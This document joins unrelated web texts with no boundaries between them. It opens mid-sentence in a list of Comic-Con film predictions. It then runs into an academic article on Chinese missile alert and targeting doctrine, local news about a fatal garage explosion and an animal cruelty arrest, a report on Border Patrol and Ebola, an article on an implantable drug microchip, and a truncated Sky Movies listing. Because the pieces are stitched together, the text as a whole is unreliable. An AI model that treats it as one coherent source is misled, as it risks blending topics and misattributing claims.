as Fox’s MCU consultant, hiring director Josh Trank (Chronicle) and writers Ashley Miller and Zack Stentz (X-Men: First Class, Thor). Not much else is known about the reboot aside from some recent casting rumors, which makes it a much more exciting proposition to have a big casting announcement and how Fantastic Four might fit in the same cinematic universe as X-Men. 6. Elysium It might not be released in theaters until this August, but Elysium already made an appearance at Comic-Con last year. We think Matt Damon, Jodie Foster, Sharlto Copley and the cast and crew of Neill Blomkamp’s (District 9) sophomore effort will be too busy making the traditional publicity rounds to stop in San Diego again, but Sony does love to promote its films there. Expect to see Elysium plastered outside of the Gaslamp and along the walls of the Hard Rock hotel, ala Total Recall. 7. The Amazing Spider-Man 2 Writer/Producer Roberto Orci let the cat out of the bag earlier this year that he’d be possibly attending in support of ASM2, but don’t let his “maybe” fool you – Spidey should be at Comic-Con this year, with or without him. This is Sony’s big tentpole film of 2014, and with no con of their own and the last chance to show to SDCC attendees before its release, it’s virtually guaranteed. Like in 2011, filming has been well underway in advance of the con, so there should be some great exclusive footage of Electro, Rhino and Norman Osborn screened for those lucky enough to score a seat in Hall H. 8. The Mortal Instruments: City of Bones Confirmed – Cassandra Clare, author of the popular young adult series from which this is adapted, has already said The Mortal Instruments: City of Bones will be at Comic-Con. Since this is a Sony Pictures release, the only question is will it have to share the limelight during the studio’s annual Hall H panel – which will undoubtedly be dominated by The Amazing Spider-Man 2 – or will it get its own? 9. The World’s End The finale to Edgar Wright’s Three Flavours Cornetto trilogy – the first being Shaun of the Dead, the second being Hot Fuzz – and starring trilogy-regulars Simon Pegg and Nick Frost, with Martin Freeman along for the ride? Of course it will be at Comic-Con this year! Expect to see a panel and perhaps a screening for the August 2013 release. 10. Riddick Vin Diesel is finally back as Riddick in this third installment of the popular sci-fi franchise. Thanks to Diesel’s rejuvenated career, he and collaborator/writer/director David Twohy were able to get this off the ground for a 2013 release. Universal would be crazy to not bring this to Comic-Con, especially with a cast that seems to be assembled specifically for SDCC, including Karl Urban, Katee Sackhoff and Drax himself, Dave Bautista. 11. Machete Kills, Sin City: A Dame To Kill For and 300: Rise of An Empire At least two of these three films will likely be at Comic-Con, and connecting them is geekier than the Six Degrees of Kevin Bacon. On one hand we have SDCC-favorite Robert Rodriguez who is directing the two sequels. On the other, we have Frank Miller, who is co-directing the Sin City sequel and who also penned the graphic novel from which the 300 sequel is based. So we’re thinking, if Rodriguez shows up we’ll get Sin City and Machete Kills; if Miller shows up we’ll get Sin City and 300; and if both show up, our inner-geeks will quite frankly explode. 12. Gravity We can’t recall a Comic-Con where George Clooney has graced the halls of the San Diego Convention Center. This may be the first, with WB’s October release Gravity, directed by Alfonso Cuarón (Harry Potter and the Prisoner of Azkaban) and also staring Sandra Bullock. WB may chose to include this sci-fi thriller in its studio panel this year. 13. The Hunger Games: Catching Fire After the first Hunger Games film skipped SDCC in 2011, Lionsgate seemed almost guilty it didn’t initially promote the film with a cast panel. It didn’t quite make good on that last year, but did have the cast make an appearance at its booth. This year, however, we think will be a different story. Catching Fire will most likely satisfy those fans who have been Hunger-ing (see what we did there?) for a big Hall H shindig this year, along with some exclusive footage, in advance of its November opening. 14. Captain America: The Winter Soldier, Thor: The Dark World and Guardians of the Galaxy We’ve already heard about a rumored Marvel Studios panel in Hall H this year, even though it’s a D23 year – and we all know what happened with SDCC when Disney last held their convention in 2011. Saying that, the sentiment from fans expecting Marvel to show up with some big reveals has been heard loud and clear, and any attempt less than that by the House of Mouse would undoubtedly be met with serious backlash. A Peggy Carter One-Shot has already been teased, and the Thor sequel will be near-complete, so Marvel should have enough to show from those two. And the Guardians of the Galaxy franchise might be a little tough for the typical Disney fan to swallow, so perhaps it will use the die-hard SDCC fanbase to build momentum with a few key casting announcements. 15. The Hobbit: The Desolation of Smaug Is there any doubt Peter Jackson would bring the second of the Hobbit trilogy to SDCC this year? After all, Jackson’s Weta was allegedly involved in the elaborate Hall H technology which was used during Warner Bros. Picture’s panel last year. The only question is, who will we see on stage? Will we the same star-studded panel this year? Or will they scale back and just let the footage speak for itself? 16. 47 Ronin The Keanu Reeves samurai actioner seems to have all the right ingredients to whet a fanboy’s appetite; it’s just that’s its been in the slow-cooker for far too long. Originally scheduled for release in November 2012, and ballooning to a budget of $225 million, the film finally – for better or worse – gets released this December. And with so much on the line, Universal should definitely think about building buzz, starting with the Comic-Con crowd. Heck, it even has a Dark Horse tie-in comic! The studio already has a lot on their plate this year, so they may be forced to choose who makes the trip to San Diego and who gets cut. We’re on the fence with this one, but hopeful at the same time. 17. Robocop What was merely a viral campaign last year, expect Sony to put its weight behind the Robocop remake and its all-star cast at SDCC. It would be the perfect opportunity to screen some footage and quiet the naysayers who say they’re changing too much from the classic sci-fi action franchise. A panel appearance from cast Samuel L. Jackson, Gary Oldman, Michael Keaton, Jay Baruchel and Jackie Earl Haley also would do well to generate excitement from the Hall H crowd. 18. All You Need Is Kill There are two things Tom Cruise seems to love lately: sci-fi and Japanese anime/manga. Warner Bros.’ sci-fi action blockbuster, starring Cruise, Emily Blunt and Bill Paxton, and directed by Doug Liman (The Bourne Identity) is both of those things, which makes a perfect pairing for the Comic-Con crowd. It also has Alex Kurtzman and Roberto Orci among its writing credits, which gives us pause for an appearance this year, as Orci didn’t mention All You Need Is Kill specifically earlier in the year. Still, the film is in post-production and this is the only SDCC before it’s March 2014 release date, but Warner Bros. will still need to make some difficult decisions on which films get squeezed into its mammoth studio panel and which ones get cut. 19. Godzilla Those unlucky to have missed the Warner Bros. Pictures panel last year have been clamoring for the infamous Godzilla SDCC teaser to leak on the internet. Come to think of it, even those who had a seat in Hall H have been asking to see it again as well. No dice as of yet, but we might have something even better to look forward to. Godzilla started filming in Canada this spring, and the 2014 release should have enough footage prepared to screen a special trailer or extended scene at Comic-Con this year. 20. Dawn of the Planet of the Apes Attendees were caught by surprised in 2011 when the prequel that no one asked for, Rise of the Planet of the Apes, received an overwhelmingly positive response from screened footage in Hall H. That movie ended up impressing the general public as well, and ended up being the surprise of the summer, both at the box office and with critics. We all have more reason to be excited for the sequel, which is being helmed by Cloverfield‘s Matt Reeves, and we think there will be no such surprises this year. The only question we have is, will the film, currently in production, will have enough footage completed in time? 21. Teenage Mutant Ninja Turtles When Comic-Con loves something, they put all their weight behind it (see: Scott Pilgrim vs. The World). When they don’t, the pendulum swings as hard the opposite way. Take, for instance, the big-screen reboot of the Teenage Mutant Ninja Turtles. A beloved comic classic, Hollywood thinks “reboot” means, “take everything we loved about the original and change it.” Drop words “Teenage Mutant” from the title. Make them aliens. Cast Megan Fox as April O’Neil. Make Michael Bay producer. We don’t actually think Paramount will bring this to Comic-Con this year, we just wanted to take the opportunity to bash it. Love the internet. 22. Justice League of America Marvel Studios is on top of the world right now, and DC has…Green Lantern, and we all know that ring was a few batteries short of full strength. So while Marvel soars forward with The Avengers 2, DC is trying to ride on the Krypton-coattails of Man of Steel, in hopes of leaping toward a Justice League movie. With Zack Snyder reportedly being handed the reigns, we expect to see Warner Bros. blow the roof off of Hall H by raising the curtain on the future of the DC cinematic universe. Which movies are you most interested in seeing at SDCC this year? Let us know in the comments.This undated
from a once all-nuclear base—for war-initiation or presumed crisis-control purposes. In July 1995 and March 1996, conventional missiles from Base 52 were targeted against the waters close to Taiwan as a warning to Taipei’s independence-minded leaders. How much their use aggravated rather than moderated the crisis is still open to dispute.14 Yet, for Beijing, the missiles had hit their intended political targets: Taiwanese public opinion and US defense policy. As one Chinese source states: “On the day after the launches of six missiles [in July 1995], over 6,000 Taiwanese people held a demonstration against the independence forces. The stock market in Taiwan twice crashed right after the missile launches” (Li et al., 2000: 56). Despite the strong US military response, which had now been exposed for the CMC’s future planning purposes, Beijing had found a useful tool for “maintaining pressure” (baochi yali 保持压力) on Taiwan’s separatists to “readjust their strategy for independence” (Zhu, 2000: 166). For their part, the Second Artillery commanders have continued to argue that the missiles launched in the mid-1990s “did contain the ‘Taiwan independence’ forces’ arrogance” (Jing and Peng, 2008: 8). Applied strategic principles Section: Choose Top of page Abstract China’s conceptual approa... China and nuclear deterre... Strategic guidelines evol... Conventional missile prog... The merger of missile for... Applied strategic princip... << Operational regulations f... The contradictions of dou... References In the six-tier hierarchy that defines the role for China’s nuclear weapons within the overall war plan, applied strategic principles and operation regulations directly govern the Second Artillery’s training, exercises, and, in wartime, combat operations. The applied strategic principles summarize the main conceptual elements within the first four tiers of the six-tier strategic hierarchy and as action statements dictate the formulation and execution of operational regulations. They are also called “applied operational principles” (zuozhan yunyong yuanze 作战运用原则) and have separate versions for nuclear and conventional missile units. In pursuit of the so-called core nuclear strategy of “deterrence of a nuclear war and limited nuclear retaliation,” five applied principles govern the nuclear force. These are consistent with the conceptual elements of the first four tiers and, while repetitious, are more detailed. They are (Li, 2008: 29–31; Second Artillery’s, 2006): Oppose nuclear blackmail ( fan he’ezha 反核讹诈): Deter the enemy from starting a nuclear war, and thwart and neutralize the enemy’s nuclear deterrent and blackmail. Gain mastery by striking only after the enemy has struck first ( hou fa zhi ren 后发制人): At no time be the first to use nuclear weapons, and, if the enemy strikes, authorize only limited nuclear retaliation. Centralize command ( jizhong zhihui 集中指挥): The CMC alone has the power to decide on and direct the employment of nuclear missiles. The Second Artillery must carry out the CMC’s orders strictly and correctly. Strictly protect the missile units ( yanmi fanghu 严密防护): Ensure the survivability of the missiles needed for the counterattack. Strike only key targets (zhongdian fanji 重点反击): Choose only strategic targets in the enemy’s homeland for effective nuclear retaliation. While nuclear weapons have predominantly political and war-prevention or deterrence uses, conventional missiles, as we have seen, are deemed premier weapons for preemptive strikes in a high-tech local war. The CMC thus has adopted eight more-detailed applied operational principles for those missile units: Concentrate firepower ( jizhong shiyong 集中使用): Only the CMC can authorize the use of the Second Artillery’s conventional missile and determine the scale of operations. Those operations must concentrate rather than scatter the missiles’ firepower. Employ weapons for preemptive use ( xianji zhidi 先机制敌): Launch the missile assaults first to seize the combat initiative. Strike preselected key targets ( zhongdian tuji 重点突击): Fire the missiles against those targets that will produce the greatest impact on the battlefield and will most weaken the enemy’s threats. Take timely protective maneuvers ( shishi jidong 适时机动): Protect the access roads and provide the necessary air cover to ensure the safety of the units and their ability to launch. Strictly protect the missile units ( yanmi fanghu 严密防护): Use all protective means possible, including camouflage, missile coating, and damage-resistant tunnel fortifications. Set up decoys, provide ready air cover, prevent ground assaults, keep the missile units hidden before launch, and evacuate each launch site immediately after launching. Maintain full readiness ( chongfen zhunbei 充分准备): Keep the weapon systems and launch sites in good condition, actively collect intelligence on the enemy, and prepare the routes for maximum mobility. Closely coordinate ( miqie xietong 密切协同): As noted, the General Staff can create three groups to coordinate with the other PLA services and tactical missile units. Ensure comprehensive support (quanmian baozhang 全面保障): This principle includes such combat support as intelligence, firing data, meteorological updates, reliable communications and electronic countermeasures, engineering backup, and routine logistics. Operational regulations for nuclear weapons Section: Choose Top of page Abstract China’s conceptual approa... China and nuclear deterre... Strategic guidelines evol... Conventional missile prog... The merger of missile for... Applied strategic princip... Operational regulations f... << The contradictions of dou... References The sixth and final tier in the control and use of Chinese nuclear weapons, operational regulations, governs the combat actions of the missile units and the use of their nuclear weapons.15 Many of their contents also apply to the actions of the conventional missile brigades. Compared with those of the other services, the Second Artillery’s command-and-control procedures for the nuclear units are more explicit and inflexible. These procedures apply to both the nuclear and conventional missile forces in accordance with the “system of systems” and “three doubles” requirements. The need for absolute control over these missile forces has given ever-higher urgency to improving and validating the Second Artillery’s wartime practices, and the unique relationship of the Second Artillery to the CMC has made the rocket forces’ modernization both easier and more sensitive than similar efforts in the other services. But beyond modernization and readiness is the ultimate challenge of the nuclear nightmare, the final dimensions of which can never be fully known or adequately anticipated. For Beijing and the still-haunting legacy of Mao Zedong, who repeatedly called on his troops to “get organized,” institutionalized procedures are bedrock. Under the all-powerful CMC, the General Staff Operations Department plays a critical role in the communications chain from the commission to the missile headquarters. The CMC uses this department’s command center to transmit and monitor all missile deployment and employment decisions. For their part, the missile bases have constructed command centers in hardened underground bunkers that contain communications equipment, drainage and decontamination systems, and power generators. Commanders in these centers reportedly believe they could survive and operate for long periods under nuclear, conventional, cyber, or chemical attacks. The Second Artillery also has created redundant mobile airborne and truck-mounted posts to communicate with launch battalions. By 1998, the General Staff Communications Department had developed a “software radio technology” to connect the transceivers using different frequencies. This technology, PLA sources state, integrated analogue and digital messages. It ensured reliability and protected “system of systems” communications between the Second Artillery headquarters and the CMC’s four general departments (staff, political, logistics, and armaments) and between the missile bases and the other PLA services in joint operations. Earlier, the communications department also began working on a blast- and jam-proof underground communications system capable of penetrating hundreds of meters of hard rock. By the late 1990s, this state-of-the-art equipment in the command centers could link the CMC and the strategic missile bases under the most complex wartime conditions. Short of its total destruction, the engineers held, the center could provide “communications of last resort.” The department then added more secure “nuclear counterattack communications” equipment to these centers, and a recent authoritative PLA source states that these communications guarantee the CMC’s wartime command and control over all nuclear forces (Chen et al., 2009). Even as it has upgraded its missiles and these command-and-control mechanisms and tested their readiness, the missile command prescribed a four-stage alert system and a two-level order sequence for the launch of nuclear weapons. From the lowest to highest, the four-stage system consists of Standing War Preparedness Alert, Class 3 Alert, Class 2 Alert, and Class 1 Alert. The CMC authorized a two-level sequence of orders to raise the alert status and, in extremis, to launch nuclear weapons: the preparatory order (yuxian haoling 预先号令) and the formal order (zhengshi mingling 正式命令). A preparatory order normally contains four main parts: a concise description of the enemy’s status; a brief statement of the unit’s assigned mission; the unit’s required preparations with a precise schedule; and the timing and location of the operation. The CMC gives this order to initiate a Class 3 or Class 2 Alert. In authorizing the Class 3 or Class 2 status, a formal order both would confirm the preparatory order and set in motion planning for a higher-stage alert. In a confirmed emergency, the CMC, now operating as the national command authority, would be able to bypass the preparatory order and directly tell the General Staff’s Operations Department to issue the formal order that initiates a Class 1 Alert. The sequence of alerts and orders would involve the following: Standing War Preparations Alert ( jingchangxing zhanbei zhuangtai 经常性战备状态). This routine or normal day-to-day readiness condition assumes that an enemy attack is possible but unlikely. To order any higher alert status, intelligence must indicate a heightened threat level. Class 3 Operational Preparations Alert ( sandeng zhanyi zhunbei zhuangtai 三等战役准备状态). Intelligence must indicate that an enemy attack is probable to justify the initiation of this alert status. Upon receipt of a preparatory order from the CMC via the command-and-control systems, the Second Artillery sends the order to the missile bases, which accelerate preparations for launching their missiles. The CMC then issues a formal order to confirm the mandated preparations in anticipation of going to a higher-stage alert. During the preparations, base security is rapidly upgraded. Class 2 Operational Preparations Alert ( erdeng zhanyi zhunbei zhuangtai 二等战役准备状态). To initiate this alert status, intelligence must confirm that an enemy attack is underway, but the CMC in consultation with the Politburo’s Standing Committee has not yet decided on its response. When a Class 2 Alert is sounded upon receipt of the encoded preparatory order, all bases shift to maximum readiness, and the air defense and ground units assigned to missile bases become fully activated. All further actions await receipt of the formal order. Class 1 Operational Preparations Alert (yideng zhanyi zhunbei zhuangtai 一等战役准备状态). A CMC-issued formal order to the Second Artillery headquarters will move specified launch bases to a Class 1 Alert. The precise nature of the threat level required to reach this decision remains highly classified, and the range of possibilities and response options could be quite complex. For example, the initial enemy attack could be a non-nuclear assault on China’s strategic targets such as the Second Artillery missile silos or command-and-control installations, and the PLA war plan would dictate the high command’s possible responses, including nuclear retaliation on the attacker’s homeland. The formal order raises the combat-ready status of the designated bases and gives authority to their commanders to launch a nuclear counterattack upon receipt of a firing order from the CMC in accordance with the specific operational plan. In this alert status, the base and its launch battalions must be ready for firing missiles. By the time a Class 1 Alert is issued, the Standing Committee of the Chinese Communist Party Politburo would have made its decision for a nuclear response and transferred the national command authority to the military commission.16 After the CMC finalizes the relevant operational and targeting plan with the committee’s general approval, the CMC promulgates the firing order via the General Staff Operations Department to the Second Artillery and selected launch units. The firing order also has a two-level sequence: the preparatory order and formal order. The preparatory order includes the precise timing for the mobile units to enter pre-surveyed launch sites far from their storage caves and for units in hardened silos to perform pre-launch inspections. The designated missile units can launch only upon receipt of a formal order from the CMC. The content of any formal order is said to be the core secret within the nuclear war plan. Because of its limited number of nuclear warheads and missiles, the Second Artillery has selected a list of priority targets of the major imagined enemies and ranked them for their perceived value. The criteria for making the target list range widely, from international security threats and a potential enemy’s retaliatory capabilities to the availability of specific weapons for use against high-value targets. The assessment of each missile system’s attack profile (survivability, penetrability, precision, and destruction potential, for example) and the characteristics of each possible target are also considered. Using those criteria, the CMC divides the targets of China’s probable enemies into five categories, based on: The relationship of strategic and tactical targets to overall war aims. Strategic targets include strategic missile launch bases, naval and air bases, central military and political headquarters, political and economic centers, industrial bases, and vital communications hubs. Tactical targets include presumed tactical nuclear weapons sites, tank formations, massed troops, and regional command-and-control centers. The value of the target—whether a military, industrial, or transportation site—to the enemy. The vulnerability of the target to destruction (i.e., how “soft” or “hard” it might be). The difficulty of destroying targets of different shapes. The difficulty in finding targets and the maneuverability of mobile targets. In formulating targeting policies, the Second Artillery has adopted the principle of cost-effectiveness, or use of the fewest weapons for maximum effect. It regularly reruns its scientific calculations and computer simulations to test and refine those policies and has written several tens of operational plans for the CMC’s use in a crisis or war. These plans cover contingencies from warnings and alerts to escalation scenarios and full-scale nuclear war. Given China’s fundamental vulnerability in today’s nuclear environment, Beijing would activate any of these plans only as a last resort. Yet, should the unthinkable nuclear conflict occur, the Second Artillery has calculated the exact sequence of steps leading up to launching its missiles under different conditions. Officers in its Operations Department have categorized and numbered hundreds of cards that list the key elements for each type of launch. The crises themselves are typed, and precise responses dictate which cards would be used. At the onset of a crisis, launch brigades are directed to select a predetermined set of numbered cards that have been chosen to achieve the CMC’s political and military aims. When so ordered, the launch commanders must follow the instructions on these cards and strictly pursue their mandated procedures in a “timely, precise, and secret” manner. A typical launch order is simple and encrypted. It specifies the battalions to be alerted, the number or numbers of the targeting cards to be used, the time period to complete the order, the escape plan for the soldiers after launching its missiles, and other items. The numbering and contents of the targeting cards are top secret. They include the names of the targets with their geographical coordinates, the types and numbers of missiles and warheads to be used, the types and heights of the expected explosion, the launch sequence, and the intended effects of the ordered nuclear strikes. The increased importance of the three “doubles” concepts, with the complicating deployment of large numbers of conventional missiles, undoubtedly has forced the CMC and missile commanders to reconsider and modify some of the all-nuclear operational regulations and to test them in repeated combat exercises.17 Yet, the profound differences between the nuclear and conventional battlefields and the highly fluid and diverse challenges of modern conventional warfare defy easy generalization or predetermined actions written down on little cards. Alerts and targeting in such complicated and unpredictable warfare will depend more on traditional military experience and combat lessons that have no parallel in the preparations for a nuclear conflict. The contradictions of double command in a high-tech local war Section: Choose Top of page Abstract China’s conceptual approa... China and nuclear deterre... Strategic guidelines evol... Conventional missile prog... The merger of missile for... Applied strategic princip... Operational regulations f... The contradictions of dou... << References By the end of the 1990s, China’s Central Military Commission had changed the military strategic guideline to winning high-tech local wars and nuclear deterrence. Years later, the CMC stated that a local war under conditions of informatization “is a confrontation between systems, and its basic form is the integrated joint operations.” Thereafter, the Chinese military began moving in the direction of enhancing its integrated joint combat capabilities and joint training.18 Because the CMC attaches great importance to the dynamic relationship between the nuclear shield and the conventional sword, it considers conventional missiles to be one of the multiple means to consolidate the nation’s strategic deterrent. The sequential and possibly combined employment of conventional and nuclear missile brigades is deemed a fundamental source of political and military strength. It is, however, also the troubling source of critical uncertainties. The basic dilemma for the war planners stems from the deployment of the two types of missiles on the same Second Artillery bases with fundamentally different capabilities and purposes. In the practice of double deterrence and double operations, the nuclear missiles’ essential mission is to deter a nuclear first strike on China, and they are only to be used in extremis. At the same time, the conventional weapons on the formerly all-nuclear bases must be ready to strike first and hard. This unique duality complicates three basic elements of China’s nuclear policy and strategy: A small, stable nuclear arsenal is housed with large and increasing quantities of mid-range conventional ballistic and cruise missiles. No-first-use of nuclear weapons is stated policy, but conventional missiles can be fired first from bases that also contain nuclear missiles, using the same command-and-control infrastructure as would be used for a nuclear launch. The CMC holds sole authority for the use of nuclear weapons, but the launch of conventional missiles is under the CMC’s command authority and the coordinated operational control of the theater joint command. Of the three doubles of Chinese nuclear strategy, double command is the most complex and unpredictable; it is also the concept about which we know the least. A missile base’s headquarters exercises command and control over both its nuclear and conventional missile brigades, but that double command is governed by the schizophrenic requirements just described. Furthermore, the missile forces themselves do not have self-defensive capabilities, even though their mission statement is defined as self-defense. After all, missiles are essentially offensive in nature and must be fired to assure their survival. The missile forces always face this use-it-or-lose-it predicament when confronting a stronger and more aggressive rival. And the air- and missile-defense systems assigned to protect them would also risk destruction on combat missions predicated on the strategic guideline of active defense, even though China by definition and tradition cannot be the aggressor. If the CMC authorizes a missile base to launch preemptive conventional attacks on an enemy, however, the enemy and its allies could not immediately distinguish whether the missiles fired were conventional or nuclear. From their perspective, the enemy forces could justifiably launch on warning and retaliate against all the command-and-control systems and missile assets of the Chinese missile launch base and even the overall command-and-control system of the central Second Artillery headquarters. In the worst case, a self-defensive first strike by Chinese conventional missiles could end in the retaliatory destruction of many Chinese nuclear missiles and their related command-and-control systems. That disastrous outcome would force the much smaller surviving and highly vulnerable Chinese nuclear missile units to fire their remaining missiles against the enemy’s homeland. In this quite foreseeable action-reaction cycle, escalation to nuclear war could become accelerated and unavoidable. This means that the double policies could unexpectedly cause, rather than deter, a nuclear exchange. Yet, the reasoning could go the other way, too, as appears to be the case today in Chinese military planning circles. Launching conventional weapons from nuclear bases might deter any direct response, because the victim of that attack would fear the consequences of retaliating against bases that have nuclear and not just conventional weapons. This fear—that a conventional response might trigger a Chinese nuclear counter-retaliation—could, in the eyes of Chinese experts, deter such a response, preventing escalation. Beijing’s strategic theorists argue, moreover, that the coordination of systems that the Chinese war plan requires connects Second Artillery bases to the theater military commands, thereby constraining and challenging enemy tactics and targeting policies in a high-tech local war. Thus, the dilemma for China and any potential enemy: Both sides, clinging to incongruous assessments, run the risk of provoking unanticipated escalation to nuclear war by seeking a quick victory or tactical advantages in a conventional conflict. This dilemma is not only real, but perilous. Editor’s note This article was first published in Chinese in the June 2012 issue of Lingdaozhe (Leaders); the English version is published by SAGE, with the permission of Lingdaozhe. Funding This study was partly supported by the William and Flora Hewlett Foundation and the John D. and Catherine T. MacArthur Foundation.The man found dead after Tuesday’s explosion and fire on Prospect Avenue in Port Washington was Michael MacNeill, the estranged husband of the home’s resident, neighbors said Thursday. And his Facebook page gives a chilling foretelling of what his fate would be. In a posting dated Dec. 14, MacNeill wrote” “If you’re going to go out with a bang, might as well do it right with 25 gallons of gas and 40 lbs of propane.” The posting is accompanied by a shot of two propane tanks and two gas cans. The posting has since been taken down from Facebook. Although police would not confirm the identity of the body found in a burnt out garage at 10 Prospect Ave., people who live on the street and Second Avenue, the street just behind Prospect, said MacNeill’s wife, Angela, had an order of protection of protection against him and she made the call to police when he appeared at the home. “We had heard about the order of protection and that he just showed up,” said Nancy Costenoble, who lives at 15 Second Ave., next to the house that was gutted by the fire. Costenoble considers herself lucky. “We just lost our fence,” she said. The entire neighborhood was rocked Tuesday around 8:20 p.m. buy a massive explosion that was heard as far as a mile away. The garage at 10 Prospect Ave. was an inferno that quickly spread to the house behind it at 11 Second Ave. and to a barn at 12 Prospect Ave. About 150 to 200 firemen were on scene from 23 companies. Eleven Port Washington Police District officers responded, along with numerous Nassau County Police Department units. Four firemen and one police officer were injured. Prospect Avenue resident John Ball spoke of a close knit block where a registry of residents was kept and block parties held. He and other neighbors described the mother and her daughter as quiet pair that generally kept to themselves. “Now, for something like this to happen; we’re lucky to still have our homes,” Ball said.CHICAGO, March 9 (UPI) -- A YouTube video showing puppies and small dogs being tortured led to the arrest of a Chicago man and a juvenile, Chicago police said. Joshua Moore, 22, was charged with multiple counts of felony animal torture and animal cruelty after police found items used in the video at his home, the Chicago Tribune reported Friday. Authorities said they removed five dogs and five puppies from Moore's address. A juvenile who appeared in the video was charged with aggravated cruelty to animals and animal torture. Both Moore and the juvenile were seen in a video swinging small dogs and puppies in the air by their leashes. Some of the puppies could be seen cowering in fear while the other dogs were being swung. In another case, lemon juice was poured down a dog's throat and duct tape was used to pull hair off a dog. Authorities were alerted to the video by People for the Ethical Treatment of Animals. A court appearance was scheduled Friday for Moore and the juvenile.The Center for Disease Control and Prevention (CDC) has issued a level three warning for US citizens to avoid traveling to West African countries experiencing an outbreak of Ebola. Immigrants from West African countries have entered the US illegally, according to Chris Cabrera with the National Border Patrol Council. "Not too long ago we did catch some people, I believe, from Liberia," he said. During the 2013 fiscal year, national statistics from the U.S. Department of Homeland Security website show Border Patrol agents apprehended 112 immigrants from Guinea, 231 from Liberia and 145 immigrants from Sierra Leone, which are the three countries currently experiencing the most cases of Ebola. "Our main concern like it TMs always been is the health and safety of our agents," Cabrera said. He worries agents are not properly protected in the event they come across an immigrant with the Ebola virus. "Our agents are trained, however, they are not medical professionals," he said. If an immigrant with the virus does make it past agents, he worries they could possibly pass the contagious virus to other immigrants while in a stash house like they saw recently during a scabies outbreak. "Some of our agents did contract scabies, and some of the other things that illegal aliens had. Luckily it's not something deadly like Ebola," Cabrera said. Customs and Border Protection (CBP) confirms agents are trained to recognize signs of illnesses, including Ebola, and are told to contact to the CDC immediately if they find someone they believe to be infected. The union worries immigrants with the disease may slip by because sometimes symptoms of the virus do not show up for 2-21 days. "We need to be more pro-active about trying to prevent it from coming in as opposed to trying to contain it once its hear," Cabrera told Action 4 News. CBP is working with the CDC to develop procedures to identify travelers and immigrants with contagious diseases.Under-the-skin microchip delivers doses of medicine The device, more than a dozen years in the making, could prove ideal for treating osteoporosis, multiple sclerosis and other conditions. Like pacemakers, defibrillators and other implantable electronic devices, the chips are controlled by radio waves in a dedicated medical frequency band. But instead of delivering an electric signal to the body, they deliver a chemical signal. "This is the kind of thing you see in 'Star Trek,' " said Robert Langer, a professor of chemical engineering at MIT and senior author of the study, which was also published online Thursday by the journal Science Translational Medicine. The drug chip, more than a dozen years in the making, was used to deliver bone-strengthening hormones to women with advanced osteoporosis who otherwise would have needed daily injections. After four months, the chips were safely removed from the patients' bodies, scientists reported Thursday at a meeting in Vancouver of the American Assn. for the Advancement of Science. It can be swallowed, injected, inhaled or delivered to the bloodstream through a time-release implant. Now scientists say they have devised a new way to give patients their medicine: through a fingertip-size microchip embedded in the body that doctors can control remotely via a wireless connection. The technology could be ideal for treating conditions that require regular pulses of medication, including pain, infertility, multiple sclerosis and perhaps even diabetes. In addition to eliminating the need for needles, the chips would make it much easier for patients to comply with complicated drug regimens, doctors said. Langer and MIT colleagues first presented the idea for a drug-delivery microchip in a 1999 article in the journal Nature. At the time, they envisioned a device that could hold small doses of potent medications in tiny compartments, each sealed by a thin metal membrane. By applying an electric charge to the membrane, it would dissolve and release the contents of the reservoir. The researchers started a company, MicroChips Inc. of Waltham, Mass., to turn their concept into a product. Their first focus for drug delivery was women with advanced osteoporosis because human parathyroid hormone, which is used to stimulate bone formation, is delivered in doses small enough to fit on the chips and must be administered in daily pulses. The scientists encountered a host of technological hurdles along the way, said lead author Robert Farra, president and chief operating officer of MicroChips. Major challenges included figuring out how to seal the compartments tightly and how to open the chambers at the appropriate time, he said. Eventually, the team produced a device measuring approximately 1 by 2 inches. Inside are two microchips, each containing 10 chambers with doses of human parathyroid hormone. They implanted the devices in eight women in Denmark, positioning the chips beneath the skin near the waistline and programming them to release daily doses of the hormone. One of devices didn't release the drug and the woman was dropped from the study. In the rest, the treatment was shown to be safe. One concern was that the fibrous coating that typically grows around implanted devices would block the drug and prevent it from working. But the microchip-released doses behaved similarly to standard injected doses, and blood tests showed that bone formation increased. Patients reported that they were not bothered by the devices once they were implanted. The medicine itself was delivered painlessly. As many as 70% of patients who are prescribed hormone therapy for osteoporosis don't comply with the dosing directions, which involve daily injections for up to two years, experts say. "The major advantage of the chip is that the patient takes every dose that is prescribed," said Dr. Robert Neer, a study coauthor and director of the Massachusetts General Hospital Bone Density Center in Boston. "The chip is more reliable than the patient." Mark Saltzman, a biomedical engineering professor at Yale University who was not involved in this research, said the advance solved an intractable problem in implantable drug delivery: how to administer medications in pulses rather than at a constant rate. Some medications, including the hormone the osteoporosis patients were taking, aren't effective unless they're given in discrete doses, he said.Sky Movies HD have got quite a good season coming up called ‘Movies You Never Got Around To Watching But Always Wanted To See’ and this sort of thing is perfect for people who aren’t sure what movies they should watch. Their week of films starts Monday 11th Oct – Sunday 17th Oct and includes classic and groundbreaking movies like Jurassic Park, Jaws, Cool Hand Luke and Dead Poets Society. Have a look at the list below including the date and time it will air and I’ve given trailers for each movie, when it’s on TV and some of my favourite clips for some of the movies too. ———————————– Mon 11th 5.45pm Dead Poets Society Director: Peter Weir Cast: Robin Williams, Ethan Hawke, Welker White, Robert Sean Leonard, Josh Charles Synopsis: Set in an exclusive boys preparatory school in 1959, a newly appointed English teacher uses unconventional techniques to inspire his students in classic poetry. O Captain, My Captain! (this is actually the last scene in the movie so don’t watch if you don’t want to know the end! ———————————– Mon 11th 8pm Thelma & Louise (1991) Director: Ridley Scott, Bobby Bass Cast: Susan Sarandon, Michael Madsen, Christopher McDonald, Brad Pitt, Geena Davis Synopsis: Two women leave their small town, taking off on a run for their lives, after one of them kills a would-be rapist. ———————————– Mon 11th 10.15pm Robocop (1987) Director: Paul Verhoeven Cast: Peter Weller, Nancy Allen, Daniel O’Herlihy, Dan O’Herlihy, Ronny Cox, Kurtwood Smith Synopsis: In the not-to-distant-future, a newly transfered Detroit police officer is remade into an indistructable cybornetic cop after being dismembered by a gang of thungs in an abandoned warehouse. Reborn as Robocop he is programed to serve and protect the citizens of Detroit and eliminate the rampant crime in the city streets so that a massive city-wide reconstruction project can get underway. But once he has completed his task, he sets his sites on the corruption inside Securities Concepts Inc.- the corporation that created him. ———————————– Tues 12th 3.25pm Cool Hand Luke (1967) Director: Stuart Rosenberg Cast: Dennis Hopper, Paul Newman, George Kennedy, J. D. Cannon, Lou Antonio Synopsis: A brooding loner is sentenced to a prison chain-gang, stands up to the Nazi-like guards, and eventually becomes the leader of his fellow prisoners. Cool Hand Luke Clip – Eating 50 Eggs!: ———————————– Tues 12th 5.40pm A Beautiful Mind (2001) Director: Ron Howard 